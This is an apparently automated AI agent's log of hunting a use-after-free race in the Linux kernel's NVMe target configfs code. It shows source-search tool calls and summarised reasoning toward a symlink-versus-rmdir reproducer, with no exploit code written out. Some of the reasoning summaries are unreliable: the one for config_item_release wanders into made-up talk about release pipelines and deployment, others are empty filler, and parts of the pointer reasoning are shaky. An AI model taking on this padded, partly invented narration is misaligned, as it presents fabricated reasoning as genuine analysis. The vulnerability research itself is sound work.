 331:			ops = nvmet_transports[port->disc_addr.trtype];
 332:			if (!ops) {
 333:				pr_err("transport type %d not supported\n",
 334:					port->disc_addr.trtype);
 335:				return -EINVAL;
 336:			}
 337:		}
 338:	
 339:		if (!try_module_get(ops->owner))
 340:			return -EINVAL;
 341:	
 342:		/*
 343:		 * If the user requested PI support and the transport isn't pi capable,
 344:		 * don't enable the port.
 345:		 */
 346:		if (port->pi_enable && !(ops->flags & NVMF_METADATA_SUPPORTED)) {
 347:			pr_err("T10-PI is not supported by transport type %d\n",
 348:			       port->disc_addr.trtype);
 349:			ret = -EINVAL;
 350:			goto out_put;
 351:		}
 352:	
 353:		ret = ops->add_port(port);
 354:		if (ret)
 355:			goto out_put;
 356:	
 357:		/* If the transport didn't set inline_data_size, then disable it. */
 358:		if (port->inline_data_size < 0)
 359:			port->inline_data_size = 0;
 360:	
 361:		/*
 362:		 * If the transport didn't set the max_queue_size properly, then clamp
 363:		 * it to the target limits. Also set default values in case the
 364:		 * transport didn't set it at all.
 365:		 */
 366:		if (port->max_queue_size < 0)
 367:			port->max_queue_size = NVMET_MAX_QUEUE_SIZE;
 368:		else
 369:			port->max_queue_size = clamp_t(int, port->max_queue_size,
 370:						       NVMET_MIN_QUEUE_SIZE,
 371:						       NVMET_MAX_QUEUE_SIZE);
 372:	
 373:		/*
 374:		 * If the transport didn't set the mdts properly, then clamp it to the
 375:		 * target limits. Also set default values in case the transport didn't
 376:		 * set it at all.
 377:		 */
 378:		if (port->mdts < 0 || port->mdts > NVMET_MAX_MDTS)
 379:			port->mdts = 0;
 380:	
 381:		port->enabled = true;
 382:		port->tr_ops = ops;
 383:		return 0;
 384:	
 385:	out_put:
 386:		module_put(ops->owner);
 387:		return ret;
 388:	}
 SourceFile:drivers/nvme/target/core.c]

127/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11210
							output: 24
							thoughts: 491
						

Thoughts:
**My Thought Process Unraveling the `nvmet_port_subsys_allow_link` Bug**

Okay, I'm digging into this `nvmet_port_subsys_allow_link` function, and I'm trying to pinpoint where this KASAN read is occurring. My initial thought was that it might be related to `nvmet_enable_port` and its handling of transport types. I was looking at `nvmet_enable_port` and noticed it checks `port->disc_addr.trtype`. If this is `NVMF_TRTYPE_MAX` – which I suspect is the default if not properly initialized – it returns `-EINVAL`.

However, I then realized the sequence of execution. If `nvmet_enable_port` were to return `-EINVAL`, the `nvmet_port_subsys_allow_link` function would subsequently return `-EINVAL` and jump to `out_free_link`. But the bug, according to the KASAN report, happens *before* `nvmet_enable_port` is even called. This sent me back to the very beginning of `nvmet_port_subsys_allow_link`.

Looking at the provided snippet, the very first lines are crucial:

```c
	struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
	struct nvmet_subsys *subsys;
	struct nvmet_subsys_link *link, *p;
	int ret;

	if (target->ci_type != &nvmet_subsys_type) {
		pr_err("can only link subsystems into the subsystems dir.!\n");
		return -EINVAL;
	}
	subsys = to_subsys(target);
	link = kmalloc_obj(*link);
	if (!link)
		return -ENOMEM;
	link->subsys = subsys;

	down_write(&nvmet_config_sem);
	ret = -EEXIST;
	list_for_each_entry(p, &port->subsystems, entry) {
		if (p->subsys == subsys)
			goto out_free_link;
	}
```

The KASAN report points to a read of size 8 at `parent->ci_parent`. This `parent` variable, I understand, represents the `subsystems` directory within the sysfs structure. And precisely at the beginning, `parent->ci_parent` is dereferenced to obtain the `port` pointer using `to_nvmet_port`.

My immediate question became: is `parent->ci_parent` actually being *accessed* in a way that could lead to a KASAN error, or is it just part of a `container_of` operation? `to_nvmet_port` is almost certainly a `container_of` macro. I need to examine the definition of `to_nvmet_port` more closely to understand precisely how it interacts with `parent->ci_parent` and whether this interaction could trigger the observed KASAN read. This is where the bug must lie – in that initial attempt to get the `nvmet_port` structure from its parent.


128/5 2026/08/26 18:21 tool codesearch-definition-source
0m Args:
map[Name:to_nvmet_port]

Results:
map[SourceCode: 225:	static inline struct nvmet_port *to_nvmet_port(struct config_item *item)
 226:	{
 227:		return container_of(to_config_group(item), struct nvmet_port,
 228:				group);
 229:	}
 SourceFile:drivers/nvme/target/nvmet.h]

129/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11823
							output: 22
							thoughts: 293
						

Thoughts:
**My Thought Process Unpacking the `to_nvmet_port` Vulnerability**

Okay, let's trace my thinking as I delved into this `to_nvmet_port` function and its implications.

First, I looked at the definition of `to_config_group`. It's a straightforward `container_of` macro. My initial thought was, "Alright, this is just pointer arithmetic. Given a `struct config_item`, it finds the containing `struct config_group`." This is a common pattern in the kernel for embedding one struct within another.

Then, I applied this understanding to `to_nvmet_port`. My immediate assumption was that `to_nvmet_port` would also be a simple pointer arithmetic operation, likely a `container_of` macro as well, but for a `struct nvmet_port` based on its embedded `config_item`.

This led me to the next observation: "Wait a minute, if `to_nvmet_port` is *just* pointer arithmetic, why am I seeing a read of size 8? That seems... unusual for a simple offset calculation." This is where my suspicion started to mount. Pointer arithmetic itself shouldn't involve reading arbitrary data. A read implies accessing memory at a specific address, and the size of the read suggests I'm fetching a pointer or a 64-bit value.

My mind immediately jumped to how this pointer arithmetic would be performed. The most likely scenario is that `to_nvmet_port` would take a `struct config_item` and, using `container_of`, calculate the address of the parent `struct nvmet_port`. To do this, it needs the offset of the `config_item` within the `nvmet_port` struct. The `container_of` macro *itself* relies on this offset.

So, where is that offset coming from? The code snippet indicates that `parent` is being passed as an argument. This `parent` is crucial. My next thought was: "What *is* `parent`? And what is `parent->ci_parent`?" The code clearly shows a read of size 8 here: `parent->ci_parent`. This read is happening *before* the pointer arithmetic for `to_nvmet_port` is fully resolved, or perhaps it's *part* of how that arithmetic is being determined.

I reasoned that `parent` must be a pointer to `struct config_item`. The `ci_parent` field within `struct config_item` is a pointer to the parent `config_item` in the filesystem hierarchy. So, `parent->ci_parent` is simply dereferencing that `ci_parent` pointer, effectively getting the pointer to the parent configuration item. This is a standard way to traverse the configuration item tree.

Now, the critical question arose: "But wait, what is the context of `parent` here? Is it supposed to be a valid pointer, or could it be something else?" The code mentions that `parent` is the "subsystems" directory. This implies a specific location in the configuration filesystem.

The real "aha!" moment, and the source of my concern, came with the question: "Is `parent` freed?" This is the cornerstone of a potential use-after-free vulnerability. If `parent` points to memory that has been deallocated, then any subsequent access to that memory, including reading from `parent->ci_parent` or using it in pointer arithmetic, will be problematic.

My investigation then led me to `configfs_rmdir`. The note states, "When `ports/1` is removed, it removes its default groups, which includes `subsystems`." This is the smoking gun. If removing `ports/1` triggers the removal and freeing of the `subsystems` directory (which is what `parent` seems to represent), and if `to_nvmet_port` is called *after* this removal, then `parent` would indeed be a dangling pointer.

The final piece of the puzzle was connecting this back to `to_nvmet_port`. My thought was: "Wait, if `parent` (the `subsystems` group's `cg_item`) is freed, and `to_nvmet_port` is somehow relying on `parent` or its derived information for its pointer arithmetic, then we have a use-after-free on our hands." The suspicion solidified when I thought, "Wait, is `parent` embedded in `struct nvmet_port`? Let's check `struct nvmet_port`." This would explain how the `subsystems` structure, which contains the `config_item` that `parent` points to, could be freed while a `struct nvmet_port` that still references it (directly or indirectly) is still in use. This would be the direct path to a use-after-free vulnerability: a pointer within `struct nvmet_port` (or derived from it) becomes invalid because the memory it points to, which was managed by the `subsystems` group, has been freed.


130/5 2026/08/26 18:21 tool codesearch-struct-layout
0m Args:
map[Name:nvmet_port]

Results:
map[Fields:[map[Name:entry OffsetBits:0 SizeBits:128] map[Name:disc_addr OffsetBits:128 SizeBits:8192] map[Name:group OffsetBits:8320 SizeBits:1088] map[Name:subsys_group OffsetBits:9408 SizeBits:1088] map[Name:subsystems OffsetBits:10496 SizeBits:128] map[Name:referrals_group OffsetBits:10624 SizeBits:1088] map[Name:referrals OffsetBits:11712 SizeBits:128] map[Name:global_entry OffsetBits:11840 SizeBits:128] map[Name:ana_groups_group OffsetBits:11968 SizeBits:1088] map[Name:ana_default_group OffsetBits:13056 SizeBits:1216] map[Name:keyring OffsetBits:14272 SizeBits:64] map[Name:priv OffsetBits:14336 SizeBits:64] map[Name:enabled OffsetBits:14400 SizeBits:8] map[Name:inline_data_size OffsetBits:14432 SizeBits:32] map[Name:max_queue_size OffsetBits:14464 SizeBits:32] map[Name:mdts OffsetBits:14496 SizeBits:32] map[Name:tr_ops OffsetBits:14528 SizeBits:64] map[Name:pi_enable OffsetBits:14592 SizeBits:8] map[Name:ana_state OffsetBits:14624 SizeBits:0]]]

131/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12430
							output: 21
							thoughts: 69
						

Thoughts:
**Eureka! I've Found the `subsys_group` Structure**

My mind just lit up – I've pinpointed the exact location of `subsys_group`! It resides at offset 9408 bits, which translates to a neat 1176 bytes. This is a crucial piece of information. I know that `subsys_group` is actually a `struct config_group`. Now, what's inside a `struct config_group`? Ah, yes, it contains a `struct config_item` named `cg_item`. This is exactly the kind of granular detail I need to understand the memory layout and data organization. I'm now going to dive deeper and meticulously examine the layout of `struct config_group` itself to fully grasp how `cg_item` is integrated and how the entire structure is composed.


132/5 2026/08/26 18:21 tool codesearch-struct-layout
0m Args:
map[Name:config_group]

Results:
map[Fields:[map[Name:cg_item OffsetBits:0 SizeBits:640] map[Name:cg_children OffsetBits:640 SizeBits:128] map[Name:cg_subsys OffsetBits:768 SizeBits:64] map[Name:default_groups OffsetBits:832 SizeBits:128] map[Name:group_entry OffsetBits:960 SizeBits:128]]]

133/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12592
							output: 21
							thoughts: 24
						

Thoughts:
**My Thought Process on `cg_item` and `struct config_item`**

Alright, so the first thing that strikes me is this `cg_item`. It's sitting at offset 0. That immediately tells me it's the very first member of whatever structure it belongs to. This is a common pattern, of course, for the primary or identifying element.

My immediate next step, then, is to look at the definition of `struct config_item`. I need to understand its layout – the types of its members, their order, and their sizes. This is crucial because the fact that `cg_item` is at offset 0 means it *is* the `struct config_item`, or at least the starting point of it. I’m assuming `cg_item` is likely a member *within* `struct config_item`, and it’s the one located at the very beginning of that structure.

So, my mental checklist is:

1.  **Confirm `cg_item`'s role:** Is it a direct member of `struct config_item`, or is it perhaps the `struct config_item` itself being referenced, and the offset is of the *pointer* to it within some other context? (Though the phrasing "is at offset 0" strongly suggests it's a member within a larger structure.)
2.  **Analyze `struct config_item`'s members:** I need to know what follows `cg_item`. What are the other fields, and in what order are they declared? This will tell me the overall size of the `struct config_item` and the relative positions of all its components.
3.  **Understand `cg_item`'s type:** What *kind* of item is `cg_item`? Is it a data field, a pointer, another nested structure, or something else? This will dictate how I interact with it and what operations are valid.

Essentially, finding `cg_item` at offset 0 is the trigger for me to deep-dive into the `struct config_item` definition to understand its complete internal structure and how `cg_item` fits into that picture. It's like finding the first domino; now I need to see how the rest of the chain is laid out.


134/5 2026/08/26 18:21 tool codesearch-struct-layout
0m Args:
map[Name:config_item]

Results:
map[Fields:[map[Name:ci_name OffsetBits:0 SizeBits:64] map[Name:ci_namebuf OffsetBits:64 SizeBits:160] map[Name:ci_kref OffsetBits:224 SizeBits:32] map[Name:ci_entry OffsetBits:256 SizeBits:128] map[Name:ci_parent OffsetBits:384 SizeBits:64] map[Name:ci_group OffsetBits:448 SizeBits:64] map[Name:ci_type OffsetBits:512 SizeBits:64] map[Name:ci_dentry OffsetBits:576 SizeBits:64]]]

135/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12747
							output: 22
							thoughts: 1380
						

Thoughts:
**Understanding the Race Condition and Crafting a Reproducer**

I've been meticulously analyzing a KASAN report that points to a memory corruption bug. The report states: "The buggy address is located 1224 bytes inside of freed 4096-byte region". This specific offset, 1224 bytes, is crucial. I've traced this back to the `ci_parent` field within a `parent` structure. The offset of `ci_parent` is 384 bits, which translates to 48 bytes. Adding this to the base offset of `parent` (1176 bytes) gives me exactly 1224 bytes (1176 + 48). This perfect alignment confirms that the KASAN report is directly referencing the `parent->ci_parent` field.

This realization solidifies my hypothesis about the race condition. It's occurring between the `symlink` operation within the `subsystems` directory and the `rmdir` operation on `ports/1`. I've previously experimented with a reproducer that attempted to trigger this race.

The feedback I received on that earlier attempt was: "The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`." This indicates that the testing oracle automatically attempted to run a probe, likely to verify directory creation, and encountered an issue with the name `probe_port`. It seems I hadn't explicitly created a probe for this scenario, and the oracle's automatic probe failed.

However, I've now clarified the situation. The oracle's feedback was from a previous iteration where `probe_port` might have been used. My current task is to *generate* the reproducer. The oracle's subsequent guidance was: "Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory." This is exactly what I'm focused on now – refining the reproducer to use a numeric port name.

Before I finalize the C code, I've double-checked the necessary setup steps. Yes, the `nvmet` module needs to be loaded using `modprobe nvmet`. And `configfs` must be mounted at `/sys/kernel/config` via `mount -t configfs none /sys/kernel/config`. I also need to ensure the subsystem `subsys1` is created beforehand with `mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);`.

Now, I will construct a clean C reproducer that incorporates these findings and the corrected port naming. I've also considered a potential subtlety: whether `unlink` is the correct operation for removing symlinks in `configfs`. My research suggests `unlink` is indeed the standard way to remove symlinks, even within `configfs`, which is typically used for directory-based filesystem structures. I'll proceed with `unlink` and confirm its behavior if needed.


136/5 2026/08/26 18:21 tool codesearch-definition-source
0m Args:
map[Name:configfs_unlink]

Results:
map[SourceCode: 213:	int configfs_unlink(struct inode *dir, struct dentry *dentry)
 214:	{
 215:		struct configfs_dirent *sd = dentry->d_fsdata, *target_sd;
 216:		struct config_item *parent_item;
 217:		const struct config_item_type *type;
 218:		int ret;
 219:	
 220:		ret = -EPERM;  /* What lack-of-symlink returns */
 221:		if (!(sd->s_type & CONFIGFS_ITEM_LINK))
 222:			goto out;
 223:	
 224:		target_sd = sd->s_element;
 225:	
 226:		parent_item = configfs_get_config_item(dentry->d_parent);
 227:		type = parent_item->ci_type;
 228:	
 229:		spin_lock(&configfs_dirent_lock);
 230:		list_del_init(&sd->s_sibling);
 231:		spin_unlock(&configfs_dirent_lock);
 232:		configfs_put(sd);
 233:		simple_unlink(dir, dentry);
 234:	
 235:		/*
 236:		 * drop_link() must be called before
 237:		 * decrementing target's ->s_links, so that the order of
 238:		 * drop_link(this, target) and drop_item(target) is preserved.
 239:		 */
 240:		if (type && type->ct_item_ops &&
 241:		    type->ct_item_ops->drop_link)
 242:			type->ct_item_ops->drop_link(parent_item,
 243:						       target_sd->s_element);
 244:	
 245:		spin_lock(&configfs_dirent_lock);
 246:		target_sd->s_links--;
 247:		spin_unlock(&configfs_dirent_lock);
 248:		configfs_put(target_sd);
 249:	
 250:		config_item_put(parent_item);
 251:	
 252:		ret = 0;
 253:	
 254:	out:
 255:		return ret;
 256:	}
 SourceFile:fs/configfs/symlink.c]

137/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14822
							output: 23
							thoughts: 411
						

Thoughts:
**The Symlink Race in ConfigFS**

Okay, so I've been digging into this potential race condition involving `configfs_unlink` and symlinks, and it seems my initial suspicion was correct: the `unlink` syscall is indeed the relevant mechanism here. Now, let's walk through the scenario I'm concerned about, and then I'll detail the specific code paths that are causing me to pause.

The race I'm envisioning involves two threads operating concurrently. Thread 1 is attempting to create a symbolic link. Specifically, it's trying to create a symlink named `subsys1` within `/sys/kernel/config/nvmet/ports/1/subsystems/`. The target of this symlink is `../../../subsystems/subsys1`. Meanwhile, Thread 2 is simultaneously attempting to remove the `/sys/kernel/config/nvmet/ports/1` directory.

My focus is on the `configfs_symlink` function, which is where Thread 1's operation will likely land. Looking at the code snippet provided, there's a critical point:

```c
	/*
	 * Get a reference to the parent item.
	 */
	parent_item = configfs_get_config_item(dentry->d_parent);
	type = parent_item->ci_type;

	/*
	 * Drop the directory inode lock while we resolve the target path.
	 */
	inode_unlock(dir);
	ret = get_target(symname, &path, &target_item, dentry->d_sb);
	inode_lock(dir);
```

The crucial part is that `inode_unlock(dir)` is called *before* the target path is resolved. This is precisely where Thread 2's `rmdir` operation can intervene. If `rmdir` on `/sys/kernel/config/nvmet/ports/1` executes at this exact moment, it will trigger a call to `configfs_rmdir`.

Now, `configfs_rmdir` is designed to clean up the directory being removed. In the context of `nvmet/ports/1`, this cleanup process includes removing default groups, and critically, the `subsystems` group. Here's where it gets tricky: the `subsystems` group is what `parent_item` in `configfs_symlink` is referencing (since `dentry->d_parent` would point to the `subsystems` directory when creating the symlink within it).

So, when `configfs_rmdir` removes `subsystems`, its `cg_item` is unlinked. However, I'm pondering the reference counting. `configfs_get_config_item(dentry->d_parent)` *does* take a reference to `parent_item`. This means `parent_item` itself won't be immediately freed. But what about its parent? `parent_item->ci_parent` points to the `cg_item` of the `ports/1` directory. The question I'm wrestling with is whether `parent_item` implicitly holds a reference to its `ci_parent` in a way that would prevent `ports/1` from being completely removed while `parent_item` is still being processed in `configfs_symlink`. I need to scrutinize the `config_item_put` logic to understand the exact reference management in play here. If `parent_item` doesn't hold a strong enough reference to its parent, the `rmdir` could proceed to the point of unlinking the `ports/1` directory's `cg_item` *before* the symlink creation is fully complete, leading to a dangling symlink or worse.


138/5 2026/08/26 18:21 tool codesearch-definition-source
0m Args:
map[Name:config_item_put]

Results:
map[SourceCode: 140:	/**
 141:	 *	config_item_put - decrement refcount for item.
 142:	 *	@item:	item.
 143:	 *
 144:	 *	Decrement the refcount, and if 0, call config_item_cleanup().
 145:	 */
 146:	void config_item_put(struct config_item *item)
 147:	{
 148:		if (item)
 149:			kref_put(&item->ci_kref, config_item_release);
 150:	}
 SourceFile:fs/configfs/item.c]

139/5 2026/08/26 18:21 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15430
							output: 23
							thoughts: 11
						

Thoughts:
**My Thought Process for Checking `config_item_release`**

Alright, so my immediate impulse here is to dive into `config_item_release`. I need to understand its current state, what it's supposed to be doing, and whether it's aligning with our broader goals. This isn't just about a quick glance; I'm thinking about its implications for the overall system stability and performance.

My primary concern is its role in the release pipeline. Is it accurately reflecting the intended configuration for the next deployment? Are there any lingering artifacts or misconfigurations from previous releases that might be causing issues or introducing unexpected behavior? I need to trace its lineage, understand how it's generated, and what processes depend on it.

Furthermore, I'm considering the granularity of `config_item_release`. Is it too broad, making it difficult to pinpoint specific changes, or too fine-grained, leading to an explosion of management overhead? I'm looking for that sweet spot that allows for clear auditing, easy rollback if necessary, and efficient updates.

I'm also thinking about potential points of failure. What happens if `config_item_release` becomes corrupted or inaccessible? Are there fallback mechanisms in place? How resilient is this component to external factors or internal errors? This is where my expertise in system architecture comes into play – anticipating problems before they manifest is crucial.

Beyond just checking its status, I want to understand the *why* behind its current configuration. What decisions led to this specific state? Was it an intentional tuning for performance, a workaround for a known bug, or perhaps an oversight? My goal is to gain a deep, contextual understanding, not just a superficial confirmation.

Ultimately, this check on `config_item_release` is a critical step in ensuring the integrity and predictability of our releases. It's about ensuring that what we deploy is exactly what we intend to deploy, and that we have the visibility and control to manage that process effectively.


140/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:config_item_release]

Results:
map[SourceCode: 135:	static void config_item_release(struct kref *kref)
 136:	{
 137:		config_item_cleanup(container_of(kref, struct config_item, ci_kref));
 138:	}
 SourceFile:fs/configfs/item.c]

141/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15547
							output: 23
							thoughts: 11
						

Thoughts:
**My Thought Process on `config_item_cleanup`**

My immediate inclination is to dive into the `config_item_cleanup` function. I want to understand its exact purpose and implementation details. My primary concern here is to ensure that any configuration items that are no longer needed or have become obsolete are identified and properly removed. This is a crucial aspect of maintaining a clean and efficient system, preventing potential conflicts or performance degradation caused by stale data. I'll be looking for the logic that dictates what constitutes a "cleanup" candidate, the mechanisms used to track these items, and the actual removal or deactivation process. I anticipate examining its dependencies, its scope of operation, and any potential side effects it might have on other parts of the system. Ultimately, I need to be convinced that this function is robust and reliable in its sanitation duties.


142/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:config_item_cleanup]

Results:
map[SourceCode: 117:	static void config_item_cleanup(struct config_item *item)
 118:	{
 119:		const struct config_item_type *t = item->ci_type;
 120:		struct config_group *s = item->ci_group;
 121:		struct config_item *parent = item->ci_parent;
 122:	
 123:		pr_debug("config_item %s: cleaning up\n", config_item_name(item));
 124:		if (item->ci_name != item->ci_namebuf)
 125:			kfree(item->ci_name);
 126:		item->ci_name = NULL;
 127:		if (t && t->ct_item_ops && t->ct_item_ops->release)
 128:			t->ct_item_ops->release(item);
 129:		if (s)
 130:			config_group_put(s);
 131:		if (parent)
 132:			config_item_put(parent);
 133:	}
 SourceFile:fs/configfs/item.c]

143/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15887
							output: 21
							thoughts: 139
						

Thoughts:
**The Conundrum of Port Deallocation**

I'm really wrestling with this deallocation sequence for `config_item_cleanup`. My understanding is that it explicitly drops the reference to `parent`. Now, the tricky part is that `parent_item`, which represents the `subsystems` group, isn't supposed to be cleaned up yet because `configfs_symlink` is still holding onto it with a reference.

This leads me to believe that `parent_item->ci_parent` *should* still have a reference held by `parent_item` itself. If that's the case, and `parent_item` is indeed holding a reference to `ci_parent` (which is the port), then the port absolutely *shouldn't* be getting freed at this point. I'm trying to figure out precisely *why* it's being freed. My next step is to dive into the `unlink_obj` function within `fs/configfs/dir.c` to trace the logic and understand where this premature deallocation is occurring.


144/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

145/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16286
							output: 23
							thoughts: 503
						

Thoughts:
**The Chain of Events Leading to the Bug**

So, my initial thought process, as I'm dissecting this issue, starts with the `unlink_obj` function. I see that it sets `item->ci_parent` to `NULL` and correctly drops its reference to the parent `group`. This seems straightforward, right? But then, my mind immediately jumps to the `nvmet_port_subsys_allow_link` function.

Here's where the confusion starts. If `item->ci_parent` is indeed set to `NULL` by `unlink_obj`, then in `nvmet_port_subsys_allow_link`, the `parent->ci_parent` expression should also evaluate to `NULL`. The code then proceeds to do this: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. My immediate concern is: what happens when `to_nvmet_port` is called with `NULL`?

I need to be absolutely certain about `to_nvmet_port`'s behavior. Let's look at its definition:

```c
static inline struct nvmet_port *to_nvmet_port(struct config_item *item)
{
	return container_of(to_config_group(item), struct nvmet_port,
			group);
}
```

And then, the helper `to_config_group`:

```c
static inline struct config_group *to_config_group(struct config_item *item)
{
	return item ? container_of(item,struct config_group,cg_item) : NULL;
}
```

Ah, I see the logic now. If `item` (which would be `parent->ci_parent` in our case) is `NULL`, `to_config_group` correctly returns `NULL`. This then leads to `container_of(NULL, struct nvmet_port, group)`. My understanding is that `container_of` with a `NULL` pointer usually results in a negative offset value relative to the structure's member. Specifically, it would be the negative offset of `group` within `struct nvmet_port`.

Let me calculate that offset. It's `sizeof(struct nvmet_port) - offsetof(struct nvmet_port, group)`. Okay, so if `parent->ci_parent` *were* `NULL`, `to_nvmet_port(NULL)` would indeed return a negative value. The KASAN report mentions an offset of 8320 bits (1040 bytes) for `group`, which is a significant offset. So, if `to_nvmet_port(NULL)` returns `-1040`, then accessing `port->subsystems` (which is at offset 10496 bits, or 1312 bytes) would be at `-1040 + 1312 = 272`.

However, the KASAN report is telling me something critical: "The buggy address is located 1224 bytes inside of freed 4096-byte region." This is the crucial piece of information that makes my initial assumption about `parent->ci_parent` being `NULL` incorrect. If `parent->ci_parent` were `NULL`, the calculated offset would be quite different and wouldn't align with the KASAN report.

Therefore, I must conclude that `parent->ci_parent` is *not* `NULL`. This implies that my understanding of what `unlink_obj` does, or how `parent->ci_parent` is maintained, is flawed in this specific context. My next step is to scrutinize the `configfs_rmdir` function to understand precisely how the `parent->ci_parent` pointer is being managed and why it's not being nulled out as I initially expected, leading to it pointing to a freed memory region.


146/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:configfs_rmdir]

Results:
map[SourceCode:1469:	static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
1470:	{
1471:		struct config_item *parent_item;
1472:		struct config_item *item;
1473:		struct configfs_subsystem *subsys;
1474:		struct configfs_dirent *sd;
1475:		struct configfs_fragment *frag;
1476:		struct module *subsys_owner = NULL, *dead_item_owner = NULL;
1477:		int ret;
1478:	
1479:		sd = dentry->d_fsdata;
1480:		if (sd->s_type & CONFIGFS_USET_DEFAULT)
1481:			return -EPERM;
1482:	
1483:		/* Get a working ref until we have the child */
1484:		parent_item = configfs_get_config_item(dentry->d_parent);
1485:		subsys = to_config_group(parent_item)->cg_subsys;
1486:		BUG_ON(!subsys);
1487:	
1488:		if (!parent_item->ci_type) {
1489:			config_item_put(parent_item);
1490:			return -EINVAL;
1491:		}
1492:	
1493:		/* configfs_mkdir() shouldn't have allowed this */
1494:		BUG_ON(!subsys->su_group.cg_item.ci_type);
1495:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1496:	
1497:		/*
1498:		 * Ensure that no racing symlink() will make detach_prep() fail while
1499:		 * the new link is temporarily attached
1500:		 */
1501:		do {
1502:			struct dentry *wait;
1503:	
1504:			mutex_lock(&configfs_symlink_mutex);
1505:			spin_lock(&configfs_dirent_lock);
1506:			/*
1507:			 * Here's where we check for dependents.  We're protected by
1508:			 * configfs_dirent_lock.
1509:			 * If no dependent, atomically tag the item as dropping.
1510:			 */
1511:			ret = sd->s_dependent_count ? -EBUSY : 0;
1512:			if (!ret) {
1513:				ret = configfs_detach_prep(sd, &wait);
1514:				if (ret)
1515:					configfs_detach_rollback(sd);
1516:			}
1517:			spin_unlock(&configfs_dirent_lock);
1518:			mutex_unlock(&configfs_symlink_mutex);
1519:	
1520:			if (ret) {
1521:				if (ret != -EAGAIN) {
1522:					config_item_put(parent_item);
1523:					return ret;
1524:				}
1525:	
1526:				/* Wait until the racing operation terminates */
1527:				inode_lock(d_inode(wait));
1528:				inode_unlock(d_inode(wait));
1529:				dput(wait);
1530:			}
1531:		} while (ret == -EAGAIN);
1532:	
1533:		frag = sd->s_frag;
1534:		if (down_write_killable(&frag->frag_sem)) {
1535:			spin_lock(&configfs_dirent_lock);
1536:			configfs_detach_rollback(sd);
1537:			spin_unlock(&configfs_dirent_lock);
1538:			config_item_put(parent_item);
1539:			return -EINTR;
1540:		}
1541:		frag->frag_dead = true;
1542:		up_write(&frag->frag_sem);
1543:	
1544:		/* Get a working ref for the duration of this function */
1545:		item = configfs_get_config_item(dentry);
1546:	
1547:		/* Drop reference from above, item already holds one. */
1548:		config_item_put(parent_item);
1549:	
1550:		if (item->ci_type)
1551:			dead_item_owner = item->ci_type->ct_owner;
1552:	
1553:		if (sd->s_type & CONFIGFS_USET_DIR) {
1554:			configfs_detach_group(dentry);
1555:	
1556:			mutex_lock(&subsys->su_mutex);
1557:			client_disconnect_notify(parent_item, item);
1558:			unlink_group(to_config_group(item));
1559:		} else {
1560:			configfs_detach_item(dentry);
1561:	
1562:			mutex_lock(&subsys->su_mutex);
1563:			client_disconnect_notify(parent_item, item);
1564:			unlink_obj(item);
1565:		}
1566:	
1567:		client_drop_item(parent_item, item);
1568:		mutex_unlock(&subsys->su_mutex);
1569:	
1570:		/* Drop our reference from above */
1571:		config_item_put(item);
1572:	
1573:		module_put(dead_item_owner);
1574:		module_put(subsys_owner);
1575:	
1576:		return 0;
1577:	}
 SourceFile:fs/configfs/dir.c]

147/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18421
							output: 24
							thoughts: 37
						

Thoughts:
**My Thought Process on `configfs_rmdir` and `configfs_detach_group`**

Okay, so I'm looking at the `configfs_rmdir` function, and a specific detail jumps out at me: it's calling `configfs_detach_group(dentry)` when dealing with directories. This strikes me as significant, and my immediate impulse is to investigate this dependency further. My next step is clearly to dive into the implementation of `configfs_detach_group` itself to understand precisely what it does when invoked in this context and how it relates to the removal of a directory within the configfs filesystem. I need to see the mechanics of this detachment to fully grasp the implications for the directory's lifecycle and any associated resources or structures.


148/5 2026/08/26 18:22 tool codesearch-definition-source
0m Args:
map[Name:configfs_detach_group]

Results:
map[SourceCode: 884:	/* Caller holds the mutex of the group's inode */
 885:	static void configfs_detach_group(struct dentry *dentry)
 886:	{
 887:		detach_groups(dentry);
 888:		configfs_detach_item(dentry);
 889:	}
 SourceFile:fs/configfs/dir.c]

149/5 2026/08/26 18:22 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18586
							output: 21
							thoughts: 9
						

Thoughts:
**My Thought Process on `detach_groups`**

Alright, before I dive deeper into this, my initial instinct is to take a moment and carefully examine the `detach_groups` functionality. I need to understand precisely what it does, what its implications are, and how it interacts with the broader system. This isn't just a cursory glance; I want to get to the core of it. My aim is to ensure I have a complete and nuanced grasp of its purpose and behavior.


